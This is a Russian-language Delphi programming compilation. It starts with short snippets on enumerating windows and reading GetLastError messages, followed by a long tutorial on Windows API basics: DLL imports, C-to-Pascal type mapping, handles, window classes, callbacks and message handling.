function AddWinInfo(WinHandle: HWnd; List: TStringList): Boolean;
stdcall;
var
  WinCaption,WinClass: array[0..255] of Char;
begin
  Result:=True;
  GetClassName(WinHandle,WinClass,SizeOf(WinClass));
  GetWindowText(WinHandle,WinCaption,SizeOf(WinCaption));
  List.Add(WinClass+' - '+WinCaption);
end;

procedure TfrmMain.Button1Click(Sender: TObject);
begin
  with ListBox1,Items do
  begin
    Clear;
    EnumWindows(@AddWinInfo,LParam(Items));
  end;
end;

Взято с http://delphiworld.narod.ru


Как получить описание кода, полученного GetLastError?

Функция RTL SysErrorMessage(GetLastError).

procedure TForm1.Button1Click(Sender: TObject);
begin
 {Cause a Windows system error message to be logged}
  ShowMessage(IntToStr(lStrLen(nil)));
  ShowMessage(SysErrorMessage(GetLastError));
end;


Основы работы с Windows API

Основы работы с Windows API.

Введение.

Цель этого обзора - помочь человеку перейти от использования средств Delphi к функциям Win API. Предполагается, что читатель уже неплохо владеет Delphi, поэтому будет подчёркиваться, прежде всего, разница между этими двумя инструментами. Кроме того, многие авторы книг по Delphi не уделяют достаточно внимания функциям Win API, предназначенным для работы с окнами и графикой, потому что считают, что VCL Delphi достаточно хорошо справляется с этими задачами. Так что часто приходится учиться работе с Win API по книгам по 16-разрядному Borland Pascal'ю. Поэтому я буду обращать внимание и на отличие 32-разрядных версий от 16-разрядных. Но я не буду без особой необходимости останавливаться на подробном описании конкретных функций, так как это всё сделано в справочной системе. Я также остановлюсь и на этой самой справочной системе, потому что начинающему программисту может оказаться не очень просто разобраться с ней.

Что такое Win API

Win API - это набор функций, предоставляемых операционной системой каждой программе. Эти функции находятся в стандартных динамически компонуемых библиотеках (Dynamic Linked Library, DLL), таких как kernel32.dll, user32.dll, gdi32.dll. Эти файлы находятся в директории Window\System. Вообще говоря, каждая программа должна самостоятельно заботится о том, чтобы подключить эти библиотеки. DLL могут подключаться к программе статически и динамически. В первом случае программа <освобождает> DLL только при завершении, во втором освобождение может произойти в любой момент. Если после освобождения DLL оказывается, что её больше не использует ни одна программа, она выгружается из памяти. Так как стандартные библиотеки используются самой системой, они всегда находятся в памяти, и поэтому использование динамического подключения бессмысленно. Чтобы статически подключить в Delphi некоторую функцию Win API, например, функцию GetWindowDC из модуля user32.dll, надо написать конструкцию вида

function GetWindowDC(Wnd: HWnd); HDC; stdcall; external 'user32.dll' name 'GetWindowDC';

Такая запись обеспечивает одновременно и статическое подключение библиотеки user32, и декларацию функции GetWindowDC, что позволяет компилятору в дальнейшем работать с ней. Обратите внимание, что все функции Win API написаны в соответствии с моделью вызова stdcall, а в Delphi по умолчанию используется другая модель - register (модель вызова определяет, как функции передаются параметры). Поэтому при импорте функций из стандартных библиотек необходимо явно указывать эту модель. Далее указывается, из какой библиотеки импортируется функция и какое название в ней она имеет. Дело в том, что имя функции в библиотеке может не совпадать с тем, под которым она становится известна компилятору. Позже я остановлюсь на тех случаях, когда это используется. Главным недостатком DLL следует считать то, что в них сохраняется информация только об именах функций, но не об их параметрах. Поэтому, если при импорте функции указать не те параметры, какие подразумевались автором DLL, то программа будет работать неправильно (вплоть до зависания), а ни компилятор, ни операционная система не смогут указать на ошибку.

Обычно программа использует довольно большое число функций Win API. Декларировать их все довольно утомительно. К счастью, Delphi избавляет программиста от этой работы: все эти функции уже описаны в соответствующих модулях, достаточно упомянуть их имена в разделе uses. Например, большинство общеупотребительных функций описаны в модулях Windows.dcu и Messages.dcu.

Как получить справку по функциям Win API

Для тех, кто решил использовать Win API, самым необходимым инструментом становится какая-либо документация по этим функциям. Их так много, что запомнить все совершенно нереально, поэтому работа без справочника под рукой просто невозможна. Наиболее доступным справочником для российского программиста является Win32 Developer's Reference, справочная система фирмы Microsoft, потому что фирма Inprise (тогда ещё Borland), получила лицензию на включение её в состав Delphi. Сам я буду постоянно ссылаться на эту справку, потому что подробное описание функций займёт слишком много места, да и нет особого смысла описывать то, что описали и без меня.

Хотя в комплект поставки Delphi и входит эта справочная система, содержащая описание всех функций Win API, получение справки по ним не настолько удобное, как по стандартным функциям Delphi. Если набрать в редакторе Delphi имя какой-нибудь функции Win API, поставить курсор в начало этой функции и нажать F1, то откроется справка по ней, как и в случае обычных функций и процедур. Однако функции Win API не появляются в предметном указателе справочной системы. Авторы Delphi объясняют это ограничениями, накладываемыми самой справочной системой (как обычно, всех собак вешают Windows). Они же советуют создать в меню кнопки <Пуск> ярлык к справочной системе Win32 Developer's Reference. Мне остаётся только присоединиться к этому совету и добавить, что ярлык надо создавать к файлу MSTools.hlp, который находится в директории $(Delphi)\Help.

Другая проблема заключается в том, что, так как система Windows написана на Си, все описания функций Win API даны в соответствии с синтаксисом именно этого языка, а не Паскаля. Во-первых, необходимо разобраться с типами. Ниже приведена таблица, какие типы Си чему соответствуют.

WCHAR = WideChar;
LPSTR = PChar;
LPCSTR = PChar;
LPWSTR = PWideChar;
LPCWSTR = PWideChar;
DWORD = Integer;
BOOL = LongBool;
PBOOL = ^BOOL;
PINT = ^Integer;
PWORD = ^Word;
PDWORD = ^DWORD;
LPDWORD = PDWORD;
UCHAR = Byte;
PUCHAR = ^Byte;
SHORT = Smallint;
UINT = Integer;
PUINT = ^UINT;
ULONG = Longint;
PULONG = ^ULONG;
LCID = DWORD;
LANGID = Word;

int = Integer;
long = LongInt;
PVOID = Pointer;
HANDLE = THandle;
LPPOINT = TPoint;
RECT = TRect;
LPRECT =  PRect;
LPSIZE = PSize;
BITMAP = TBitmap;

Все типы, приведённые в первой части таблицы, в целях совместимости описаны в модуле Windows.dcu, поэтому их можно использовать наравне с обычными типами Delphi. Кроме этих типов общего назначения существуют ещё специальные. Например, дескриптор окна имеет тип HWND, первый параметр сообщения - тип WPARAM. Эти специальные типы также описаны в Windows.dcu. В некоторых имена типов, встречающихся в справке, и соответствующих им типов из Windows.dcu отличаются только добавлением буквы , как это можно видеть из второй части таблицы. Кстати, не следует путать тип TBitmap, определённый в Windows.dcu, с классом TBitmap, определённым в Graphics.dcu. Зачем разработчикам Delphi потребовалось называть разные типы одним именем, не понятно, тем более что во второй версии Delphi был тип BITMAP, который куда-то исчез в третьей. Зато в четвёртой версии снова появился BITMAP, остался TBitmap, да ещё добавился tagBITMAP, и все эти три типа означают то же самое.
Теперь о синтаксисе описания самой функции в Си. Оно имеет вид

<Тип функции> <Имя функции>(<Тип параметра> <Имя параметра>, <Тип параметра> <Имя параметра>, ...);

Еще в Си различается верхний и нижний регистр, поэтому идентификаторы HDC, hdc, hDC и т. д. - разные идентификаторы (автор Си очень любил краткость и хотел, чтобы можно было делать не 26, а 52 переменные с именем из одной буквы). Поэтому часто можно встретить, что имя параметра и его тип совпадают с точностью до регистра. К счастью, при описании функции в Delphi мы не обязаны сохранять имена параметров, значение имеют лишь их типы и порядок следования. С учётом всего этого функция, описанная в справке как

HMETAFILE CopyMetaFile(HMETAFILE  hmfSrc, LPCTSTR  lpszFile);

в Delphi имеет вид

function CopyMetaFile(hmfSrc: HMETAFILE; lpszFile: LPCTSTR): HMETAFILE;

или, что то же самое,

function CopyMetaFile(hmfSrc: HMetaFile; lpszFile: PChar): HMetaFile;

Так как в Паскале нет разницы, написать, например, HMETAFILE или HMetaFile, в дальнейшем я буду придерживаться второго варианта, потому что так легче читать, хоть это и не совпадает с тем, как принято в справочной системе.

Несколько особняком стоит тип VOID. Если функция имеет такой тип, то в Паскале она описывается как процедура. Если вместо параметров у функции в скобках стоит VOID, это означает, что функция не имеет параметров. Например, функция

void CloseLogFile(VOID);

в Delphi описывается как

procedure CloseLogFile;

Не путайте VOID и PVOID. PVOID - это нетипизированный указатель, соответствующий типу Pointer.

В тех случаях, когда тип параметра является указателем на другой тип (обычно начинается с букв LP), при описании этой функции в Delphi можно пользоваться параметром-переменной, так как в этом случае функции передаётся указатель. Например, функция

int GetRgnBox(HRGN  hrgn, LPRECT  lprc);

в файле Windows.pas описана

function GetRgnBox(RGN: HRGN; var p2: TRect): Integer;

И, наконец, если не удаётся понять, как функция, описанная в справке, должна быть переведена на Паскаль, можно попытаться найти описание этой функции в исходных текстах модулей, поставляемых вместе с Delphi. Эти модули находятся в директории $(DELPHI)\Source\RTL\Win. Можно также воспользоваться подсказкой, которая всплывает в редакторе Delphi после того, как будет набрано имя функции.

Если посмотреть справку, например, по функции GetSystemMetrics, то видно, что эта функция должна иметь один целочисленный параметр. Однако далее в справке предлагается при вызове этой функции подставлять в качестве параметра не числа, а SM_ARRANGE, SM_CLEANBOOT и т. д. Подобная ситуация и со многими другими функциями Win API. Все эти SM_ARRANGE, SM_CLEANBOOT и т. д. являются именами числовых констант. Эти константы описаны в том же модуле, в котором описана функция, использующая их, поэтому можно не выяснять численные значения этих констант, а указывать при вызове функций их имена, например, GetSystemMetrics(SM_Arrange); Если по каким-то причинам всё-таки потребовалось выяснить численные значения, то в справочной системе их искать не стоит - их там нет. Я могу только опять отправить к исходным текстам модулей Delphi, в которых эти константы описаны. Так, например, просматривая Windows.pas, можно узнать, что SM_ARRANGE = 56. Кстати, всем, кто решиться самостоятельно просматривать исходники, я очень рекомендую использовать для этого не текстовый редактор, а программу, которая может только показать, но не изменить файл (что-то вроде просмотра по F3 в Norton Commander'е). Так безопаснее. Или же стоит подумать о резервной копии.

В описании многих функций Win API вверху можно увидеть три ссылки: QuickInfo, Overview и Group. Первая даёт краткую информацию о функции. Самой полезной частью этой информации является то, для каких версий Windows эта функция реализована. Например, очень полезна функция MaskBlt, однако QuickInfo показывает, что она реализована только в Windows NT. Программа, использующая эту функцию, не будет работать в Windows 95. Иногда напротив названия одной из систем стоит слово , которое переводится как <пень>, <обрубок> (например, для функции GetDeviceGammaRamp это слово стоит напротив Windows NT). Это означает, что в данной версии эта функция присутствует (то есть обращение к ней не вызывает ошибки), но ничего не делает. Оставим на совести программистов из Microsoft вопрос, зачем нужны такие пни. Overview - это краткий обзор какой-то большой темы. Например, для любой функции, работающей с растровыми изображениями, обзор будет в двух словах объяснять, зачем в принципе нужны эти самые растровые изображения. Судя по непроверенным данным, первоначально эти обзоры замышлялись как нечто большее, но потом остановились на таких вот лаконичных фразах. Как бы то ни было, найти в обзоре полезную информацию удаётся крайне редко, поэтому заглядывать туда стоит только если ну совсем ничего не понятно. И, наконец, Group. Эта ссылка приводит к списку всех функций, родственных данной. Например, для функции CreateRectRgn группу будут составлять все функции, имеющие отношение к регионам. Если теперь нажимать на кнопку << (два знака <меньше>) сразу под главным меню окна справки, то будут появляться страницы с кратким описанием возможных применений объектов, с которыми работают функции (в приведённом примере описание возможностей регионов). Чтобы читать их в нормальной последовательности, лучше всего нажать на <<; столько раз, сколько возможно, а затем пойти в противоположном направлении с помощью кнопки >>;.

Иногда в справке можно встретить указания или . К этим замечаниям следует относится критически, так как справка написана для Windows 95, когда ещё не было Windows NT 4.0, описывается версия со старым интерфейсом. Так что то, про что написано , может вполне успешно работать и в Windows NT 4.0 и выше, особенно если это <что-то> связано с пользовательским интерфейсом. То же самое относится и к QuickInfo. Такие вещи лучше всего проверять на практике.

Ещё несколько слов о числовых константах. В справке можно встретить числа вида, например, 0xC56F или 0x3341. Префикс <0x> в Си означает шестнадцатеричное число. В Delphi надо его заменить на <$>, то есть вышеназванные числа должны быть записаны как $C56F и $3341 соответственно.

Дескрипторы вместо классов

Программируя в Delphi, мы быстро привыкаем к тому, что каждый объект реализуется экземпляром соответствующего класса. Например, кнопка реализуется экземпляром класса TButton, контекст устройства - классом TCanvas. Но когда создавались первые версии Windows, объектно-ориентированный метод программирования ещё не был общепризнанным, поэтому он не был реализован. Современные версии Windows частично унаследовали этот недостаток, поэтому в большинстве случаев приходится работать по старинке, тем более что DLL могут экспортировать только функции, но не классы.

Когда мы создаём некоторый объект в Windows, ему присваивается уникальный 32-разрядный номер, называемый дескриптором. В дальнейшем при работе с этим объектом каждой функции передаётся этот дескриптор. В этом и заключается главное различие между методами класса и функциями Win API. Первые связаны с тем экземпляром класса, через который они вызыва-ются, и поэтому не требуют явного указания на объект. Вторым необходимо такое указание, так как они сами по себе никак не связаны ни с одним объектом.

Не следует думать, что при работе с Win API следует полностью отказываться от классов Delphi. Эти методы прекрасно работают вместе. Правда, внутренние механизмы Delphi не могут включиться, если изменение объекта происходит через Win API. Например, если спрятать окно не с помощью метода Hide, а с помощью вызова функции Win API ShowWindow(Handle, SW_Hide), не возникнет событие OnHide, потому что оно запускается теми самыми внутренними механизмами Delphi. Но такие недоразумения случаются обычно только тогда, когда функциями Win API дублируется то, что можно сделать и с помощью Delphi. Для вызова функций Win API объекта, созданного с помощью Delphi, используйте свойство Handle. В нём хранится дескриптор.

В некоторых случаях класс Delphi инкапсулирует несколько объектов Windows. Например, класс TBitmap включает в себя HBitmap и HPalette - картинку и палитру к ней. Соответственно, он хранит два дескриптора - в свойствах Handle и Palette.

Все экземпляры классов, созданные в Delphi, должны удаляться. В некоторых случаях это происходит автоматически, в некоторых программист должен сам позаботиться о <выносе му-сора>. Аналогичная ситуация и с объектами, создаваемыми в Win API. Если посмотреть справку по функции, создающей какой-то объект, то там обязательно будет информация о том, какой функцией можно удалить объект и может ли система сделать это автоматически. Во многих случаях совершенно разные объекты могут удаляться одной и той же функцией. Так, функция DeleteObject удаляет косметические карандаши, геометрические карандаши, кисти, шрифты, регионы, растровые изображения и палитры. Обращайте внимание на возможные исключения. Например, регионы не удаляются системой автоматически, однако если вызвать для региона функцию SetWindowRgn, то этот регион переходит в собственность операционной системы. Никакие дальнейшие операции с ним, в том числе и удаление, совершать нельзя.

Формы Delphi и окна Windows

Принято считать, что класс TForm реализует окно. Это не совсем верно, потому что TForm реализует лишь часть тех объектов, которые принято называть окнами. Например, кнопка - это тоже окно, но реализуется она классом TButton.

Каждое окно принадлежит к какому-то оконному классу. Не следует путать оконный класс с классами Delphi. Это некий шаблон, определяющий базовые свойства окна. Каждому такому шаблону присваивается имя, уникальное в его области видимости. Классы делятся на локальные (видимые только в приложении, регистрирующем их) и глобальные (видимые вне прило-жения). В 16-разрядных версиях Windows локальный класс, зарегистрированный приложением, был виден всем другим экземплярам этого же приложения. В 32-разрядных версиях различные экземпляры одного приложения стали более самостоятельными, поэтому каждый экземпляр должен заново регистрировать все свои классы. Перед использованием класс необходимо зарегистрировать ( функция RegisterClassEx). При завершении программы все классы, зарегистрированные в ней, удаляются автоматически, хотя при необходимости их можно удалить и самостоятельно. Отсюда очевидно, что глобальный оконный класс, доступный всем программам, должен быть зарегистрирован динамической библиотекой, постоянно находящейся в памяти. Как это сделать, можно прочитать в Win32 Developer's Reference, тема WNDCLASS. Если же глобальный класс регистрируется программой обычным образом, то это означает, что он будет доступен не только самой программе, но и всем библиотекам, вызванным ею, но никак не другим программам и не другим экземплярам этой программы. Если наоборот, глобальный класс регистрирует DLL, то он становится доступным всем программам, использующим эту DLL. Но в этом случае класс не удаляется автоматически.

При создании окна обязательно указывать его класс. Данный класс должен быть к этому моменту зарегистрирован. В Delphi имя оконного класса для окон, созданных наследниками TForm, всегда совпадает с именем класса Delphi. Существуют предопределённые классы Windows, которые не надо регистрировать. Это 'BUTTON', 'COMBOBOX', 'EDIT', 'LISTBOX', 'MDICLIENT', 'SCROLLBAR' и 'STATIC'. Назначение этих классов понятно из их названий (класс 'STATIC' реализует статические, то есть не реагирующие на мышь и клавиатуру, но имеющие дескриптор элементы, текстовые или графические). Впрочем, можно определить локальный класс с зарезервированным именем, он перекроет глобальный в пределах приложения.

Кроме имени, класс включает в себя другие параметры, такие как стиль, кисть и т. д. Они подробно перечислены в справке по теме WNDCLASS.

Кроме класса нужно указать стиль окна и расширенный стиль. Они определяют поведение конкретного окна и не имеют ничего общего со стилем класса. Возможные значения этих стилей перечислены в справке по функциям CreateWindow и CreateWindowEx. Результатом работы этих функций является дескриптор созданного ими окна.

Функции, создающие окна, требуют указать дескриптор приложения. В Delphi этот дескриптор хранится стразу в двух переменных - MainInstance модуля System и HInstance модуля SysInit. Оба эти модуля автоматически подключаются к любому модулю, созданному в Delphi, так что можно использовать ту или иную переменную по своему вкусу. Кстати, не следует путать автоматическое подключение этих модулей с автоматической генерацией кода IDE Delphi для под-ключения таких модулей, как Windows, Forms, SysUtils и т. д. В первом случае модули подключаются несмотря на то, что не упомянуты в списке uses. Более того, их упоминание там приведёт к ошибке. Во втором случае эти модули явным образом подключаются, просто Delphi автоматически пишет эту часть программы за программиста. Можно написать модуль или даже целую программу, которые не будут использовать SysUtils, но нельзя написать такие, которые не будут использовать System.

Создание окон через Win API требует кропотливой работы. VCL Delphi справляется с этой задачей замечательно, поэтому создавать окна самостоятельно приходится только тогда, когда использование VCL нежелательно, например, если необходимо написать как можно более компактное приложение. Во всех остальных случаях приходится только слегка подправлять работу VCL. Например, с помощью Win API можно изменить форму окна или убрать из него заголовок, оставив рамку. Подобные действия не требуют от программиста создания нового окна, можно воспользоваться тем, что уже создано VCL.

Другой случай, когда могут понадобиться функции Win API для окон - если приложение должно что-то делать с чужими окнами. Например, хотя бы просто перечислить все окна, открытые в данный момент, как это делает WinSight32. Но в этом случае также не приходится самому создавать окна, работа идёт с уже имеющимися.

Callback функции

Прежде чем двигаться дальше, необходимо разобраться с тем, что такое callback функции. На русский язык это обычно переводится как функции косвенного вызова. Эти функции в программе описываются, но обычно не вызываются напрямую, хотя ничто не запрещает сделать это. В этом они похожи на те методы класса, которые связаны с событиями. Ничто не мешает вызывать напрямую, например, метод FormCreate, но делать это приходится крайне редко. С другой стороны, даже если этот метод не вызывается явно, он всё равно выполняется, потому что VCL автоматически вызывает его без прямого указания программиста. Еще одно общее свойство - конкретное имя метода при косвенном вызове не важно. Можно изменить его, но если этот метод по-прежнему будет связан с событием OnCreate, он так же будет успешно вызываться. Разница заключается только в том, что такие методы вызываются внутренними механизмами Delphi, а callback функции - самой системой Windows. Соответственно, на эти функции налагаются следующие требования: во-первых, эти функции должны быть именно функциями, а не методами класса (впрочем, иногда это условие удаётся обойти); во-вторых, эти функции должны быть написаны в соответствии с моделью вызова stdcall. Справочная система предлагает использовать модель callback, которая в имеющихся версиях Windows совпадает с stdcall. Однако в Delphi такая модель не поддерживается. Что же касается того, как программист сообщает системе о том, что он написал callback функцию, то это в каждом случае по-своему.

Очень часто функции косвенного вызова используются при перечислении некоторых объектов. В качестве примера рассмотрим перечисление окон с помощью функции EnumWindows. В справке она описана так:

BOOL EnumWindows(WNDENUMPROC  lpEnumFunc, LPARAM  lParam);

Соответственно, в Windows.pas она имеет вид

function EnumWindows(lpEnumFunc: TFNWndEnumProc; lParam: LPARAM): BOOL; stdcall;

тип TFNWndEnumProc совпадает с типом Pointer. Здесь должен стоять указатель на callback функцию. Синтаксис этой функции описан так:

BOOL CALLBACK EnumWindowsProc(HWND  hwnd, LPARAM  lParam);

Функции с таким именем не существует в Win API. Это так называемый прототип функции, согласно которому следует описывать callback функцию. На самом деле этот прототип предоставляет большую свободу, чем это может показаться на первый взгляд. Как я уже сказал выше, имя может быть любым. Любыми могут быть и типы функции и параметров, при условии что новые типы совпадают по размерам с теми, которые указываются. Что касается типа функции и типа первого параметра, то они имеют определённый смысл и менять их тип практически бессмысленно. Другое дело со вторым параметром. Он предназначен специально для передачи значения, которое программист волен использовать по своему усмотрению, система не имеет на него никаких видов. А программисту может показаться удобнее работать не с типом LPARAM (то есть LongInt), а, например, с указателем или же с массивом из четырёх байт. Лишь бы были именно четыре байта, а не восемь, шестнадцать или ещё какое-то число. Можно даже превратить этот параметр в параметр-переменную, так как при этом функции будут передаваться всё те же четыре байта - адрес переменной. Но эти удовольствия для тех, кто хорошо разбирается с тем, как используется стек для передачи параметров при различных моделях вы-зова.

Как же работает EnumWindows? После вызова эта функция начинает по очереди перебирать все имеющиеся в данный момент окна верхнего уровня, то есть те, у которых нет родителя. Для каждого такого окна вызывается эта самая callback функция, в качестве первого параметра ей передаётся дескриптор данного окна (каждый раз, естественно, новый), в качестве второго - то, что было передано самой функции EnumWindows в качестве второго параметра (каждый раз одно и то же). Что же может делать callback функция с этим дескриптором? А всё, на что у программиста хватит фантазии. Например, можно минимизировать или вообще закрыть все эти окна, хотя не понятно, с чего бы вдруг устраивать такую диверсию. Или можно проверять все эти окна на соответствие какому-то условию, пытаясь найти нужное. А значение, возвращаемое callback функцией, влияет на работу EnumWindows. Если она возвращает False, значит, всё, что нужно, уже сделано, можно не перебирать остальные окна.

Окончательный код для того случая, когда второй параметр имеет тип Pointer, выглядит так:

function MyCallbackFunction(Wnd:HWnd; P: Pointer):Bool; stdcall;
 begin
  {  что-то делаем  }
 end;
..............
var MyPointer:Pointer;
..............
EnumWindows(@MyCallbackFunction, LongInt(MyPointer));

Что бы мы ни делали с типом второго параметра callback функции, тип соответствующего параметра EnumWindows не меняется. Поэтому необходимо явное приведение передаваемого параметра к типу LongInt. Обратное преобразование типов при вызове MyCallbackFunction осуществляется автоматически.

В 16-разрядных версиях Windows вызов callback функций осложнялся тем, что для них необходимо было делать специальный код, называемый прологом. Пролог создавался с помощью функции MakeProcInstance, удалялся после завершения с помощью FreeProcInstance. То есть вызов EnumWindows должен был бы выглядеть так:

var MyProcInstnace: TFarProc;
...................
MyProcInstance := MakeProcInstance(@MyCallbackFunction, HInstance);
EnumWindows(MyProcInstance, LongInt(MyPointer));
FreeProcInstance(MyProcInstance);

В Delphi этот код будет работоспособным, так как для совместимости MyProcInstance и FreeProcInstance оставлены. Но они ничего не делают (в чём легко убедиться, просмотрев ис-ходный файл Windows.pas), поэтому можно обойтись и без них. Другой способ, с помощью которого в 16-разрядных версиях можно сделать пролог - описать функцию с директивой export. Эта директива сохранена для совместимости и в Delphi, но в 32-разрядных версиях она также ничего не делает (несмотря на то, что справка, например, по Delphi 3.0 утверждает обратное; в справке по Delphi 4.3 этой ошибки уже нет).

Сообщения Windows

Человеку, знакомому с Delphi, должна быть ясна схема событийного управления. Программист пишет только код реакции на какое-либо событие, а дальше программа ждёт, когда система сочтёт, что настало время передать управление этому участку кода. Простые программы в Delphi состоят исключительно из методов реакции на события вроде OnCreate, onclick, OnCloseQerry и т. д. Причём событием называется не только событие в обычном смысле этого слова, то есть когда происходит что-то внешнее, но и ситуация, когда событие используется просто для передачи управления основной программе в тех случаях, когда VCL не может сама справиться с какой-то задачей. Примером такого события является, например, TListBox.OnDrawItem. Устанавливая стиль списка в lbOwnerDrawFixed или lbOwnerDrawVariable, программист как бы сообщает VCL, что он не доволен теми средствами рисования элементов списка, которыми она располагает, и что он берёт эту часть задачи на себя. И каждый раз, когда возникает необходимость в рисовании элемента, VCL передаёт управление специально написанному коду. На самом деле разница между двумя типами событий весьма условна. Можно так же сказать, что когда пользователь нажимает клавишу, VCL не знает, что делать, и поэтому передаёт управление обработчику OnKeyPress.

Событийное управление не есть изобретение авторов Delphi. Такой подход исповедует сама система Windows. Только здесь события называются сообщениями (message), что, на мой взгляд, даже лучше отражает ситуацию. Windows посылает программе сообщения, связанные либо с тем, что произошло что-то внешнее (мышь, клавиатура...), либо с тем, что самой системе потребовались от программы какие-то действия. Самым распространённым таким действием является предоставление информации. Например, когда Windows хочет узнать заголовок окна, она посылает этому окну специальное сообщение, в ответ на которое окно должно сообщить системе свой заголовок. Ещё бывают сообщения, которые просто уведомляют программу о начале какого-то действия (например, о начале перетаскивания окна) и предоставляют возможность вмешаться. Но это вмешательство необязательно.

В Delphi для реакции на каждое событие обычно создаётся свой метод. В Windows одна процедура, называемая оконной, обрабатывает все сообщения. В языке Си нет понятия <процедура>, поэтому при использовании Паскаля может возникнуть путаница. Дело в том, что то, что называется оконной процедурой, на самом деле является функцией. Тем не менее, я буду использовать общепринятый термин <оконная процедура>. Каждое сообщение имеет свой уникальный номер, а оконная процедура обычно целиком состоит из оператора case, и каждому сообщению соответствует своя альтернатива этого оператора. Номера сообщений учить не надо, потому что можно использовать константы, описанные в модуле Messages.dcu. Эти константы начинаются с префикса, указывающего на принадлежность сообщения к какой-то группе. Например, сообщения общего назначения начинаются с WM_: например, WM_Paint, WM_GetTextLength. Сообщения, специфичные, например, для кнопок, начинаются с префикса BM_. Остальные группы сообщений также связаны либо с теми или иными элементами управления, либо со специальными действиями, например, с динамическим обменом данными (dynamic data exchange, DDE). Обычной программе приходится обрабатывать довольно много сообщений, поэтому оконная процедура бывает, как правило, очень длинной и громоздкой. Оконная процедура описывается программистом как callback функция и указывается при создании оконного класса. Таким образом все окна данного класса имеют одну и ту же оконную процедуру. Впрочем, существует возможность породить так называемый подкласс, то есть новый класс, наследующий все свойства существующего, за исключением оконной процедуры. Несколько подробнее об этом будет сказано далее.

Кроме номера, каждое сообщение содержит два параметра - WParam и LParam. Буквы и означают и , то есть первый параметр 16-разрядный, а второй - 32-разрядный. Однако так было только в старых, 16-разрядных версиях Windows. В 32-разрядных версиях оба параметра 32-разрядные, несмотря на их названия. Конкретный смысл каждого параметра зависит от сообщения. В некоторых сообщениях один или оба параметра могут вообще не использоваться, в других - наоборот, двух параметров даже не хватает. В этом случае один из параметров (обычно LParam) содержит указатель на дополнительные данные. После обработки сообщения оконная процедура должна вернуть какое-то значение. Обычно это значение просто сигнализирует, что сообщение не нуждается в дополнительной обработке, но в некоторых случаях оно более осмысленно, например, WM_SetIcon должно вернуть дескриптор иконки, которая была установлена ранее. Если программист не хочет обрабатывать сообщение самостоятельно, он должен вызвать для его обра-ботки функцию DefWindowProc.

Обработка сообщения требует времени, иногда довольно значительного. За это время окну может быть отправлено ещё несколько сообщений. Чтобы они не пропали, Windows организует так называемую очередь сообщений. Очередь сообщений своя для каждой нити. Нить должна сама выбирать сообщения из этой очереди, транслировать их и затем вызывать функцию Dispatch-Message, чтобы направить это сообщение в нужную оконную процедуру. Всё это лучше не писать самому, а оставить на совести VCL, которая прекрасно с этим справляется. При программировании в Delphi обычно требуется либо нестандартная реакция на сообщение, либо отправка сообщения другому окну.

Отправка сообщения другому окну может осуществляться достаточно разнообразными способами. Можно послать сообщение в очередь, а можно заставить Windows вызвать оконную процедуру напрямую, в обход очереди. Можно установить максимальное время ожидания отклика от окна, которому послано сообщение. Все эти функции хорошо описаны в справке (см., например, функцию SendMessage и группу родственных функций).

Кроме параметров WParam и LParam, каждому сообщению приписывается время возникновения и координаты курсора в момент возникновения. Эти параметры можно узнать с помощью функций GetMessagePos и GetMessageTime.

Разумеется, что Delphi предоставляет программисту все средства, необходимые для обработки сообщений. Самый простой способ - описать метод для обработки сообщения с директивой message. Это выглядит примерно так

type TSomeForm = class(TForm)
          ................
          procedure WMSomeMessage(var Message: TMessage); message WM_SomeMessage;
          ................

procedure TSomeForm.WMSomeMessage;
 begin
  ..............
  inherited
 end;

Стандартная оконная процедура в Delphi устроена так, что она ищет среди методов класса специальные методы для обработки каждого сообщения. Эти методы во многом подобны обыкновенным виртуальным методам. Другими словами, если переопределить такой метод, будет вы-зван именно новый, а не старый вариант. Вообще говоря, в классе-родителе метода для обра-ботки какого-то конкретного сообщения может и не существовать. Это, однако, никак не сказывается на синтаксисе (в отличие от обычных виртуальных методов, где приходится писать директиву virtual для вновь созданных и override для перекрытых). Кроме того, при перекрытии методов обработки сообщений не важно имя метода, значение имеет только константа, стоящая после message. Именно поэтому при вызове перекрытого метода для обработки данного сообщения достаточно просто написать inherited, без указания имени метода. Такой способ вызова не приведёт к ошибке даже в том случае, если класс-родитель вообще не имел метода для обработки такого сообщения.

Тип TMessage сделан специально для обработки сообщений. Это запись, содержащая 32-разрядные целые поля Msg, WParam, LParam и Result. Первое поле содержит номер сообщения, два следующих - параметры сообщения, а полю Result метод должен присвоить то значение, которое потом вернёт системе оконная процедура. Именно из-за необходимости передавать значение параметр метода обработки сообщения должен быть переменной. При обработке сообщений часто приходится сталкиваться с ситуациями, когда один 32-разрядный параметр используется для передачи двух 16-разрядных значений. Чтобы облегчить программисту работу в таких случаях, тип TMessage описан как вариантная запись, поэтому в нём есть поля WParamLo, WParamHi, LParamLo, LParamHi, ResultLo и ResultHi, имеющие тип Word и дающие доступ к старшему и младшему словам соответствующего параметра.

Так как параметры WParam и LParam могут иметь совершенно различный смысл для разных сообщений, не всегда удобно представлять их в виде чисел. Иногда предпочтительнее, чтобы они имели тип Pointer, или LongBool, или ещё какой-либо. Поэтому тип TMessage - не единственный тип, который может иметь параметр метода обработки сообщения. Для многих сообщений в модуле Messages.dcu описаны собственные типы. Их названия образованы от названия соответствующих сообщений. Например, для сообщения WM_Paint описан тип TWMPaint, для WM_GetText - TWMGetText, и так далее. В этих типах все поля имеют тот тип, который наилучшим образом подходит для обработки именно этого сообщения. Кроме того, поля имеют названия, отражающие их назначения, что делает программу более удобной для чтения. Но такие типы описаны не для всех сообщений, поэтому иногда приходится пользоваться универсальным TMessage. Кстати, если по каким-то причинам в методе обработки сообщения потребуется использовать не тот тип, который используется в соответствующем методе класса-родителя, никаких проблем не возникнет: в данном случае приведение типов выполняется автоматически. Узнать, есть ли специальный тип для данного сообщения, можно двумя способами: либо поискать этот тип в Messages.pas, либо просто проверить, <съест> его компилятор или нет.
Сообщения, определяемые пользователем

Использование сообщений очень удобно в тех случаях, когда нужно заставить окно выполнить какое-то действие. Поэтому Windows предоставляет возможность программисту создавать свои сообщения, которые могут быть локальными или глобальными. Использование локальных сообщений связано с некоторым риском. Дело в том, что эти сообщения должны посылаться только <своим> окнам, то есть тем, оконные процедуры которых написаны так, чтобы правильно интерпретировать это сообщение. Если послать такое сообщение <чужому> окну, его реакция может быть непредсказуемой, потому что человек, писавший его оконную процедуру, мог использовать сообщение с этим же номером для своих целей. Всё это вовсе не значит, что обмен локальными сообщениями возможен только внутри одной программы: если разные программы написаны так, что они правильно понимают одно и то же локальное сообщение, они могут без каких-либо ограничений обмениваться им. Немного повторюсь: важно только чтобы отправитель и получатель сообщения одинаково понимали его. В справочной системе специально указывается, что недопустимо отправлять такие сообщения окнам классов 'BUTTON', 'EDIT', 'LISTBOX' и 'COMBOBOX'.
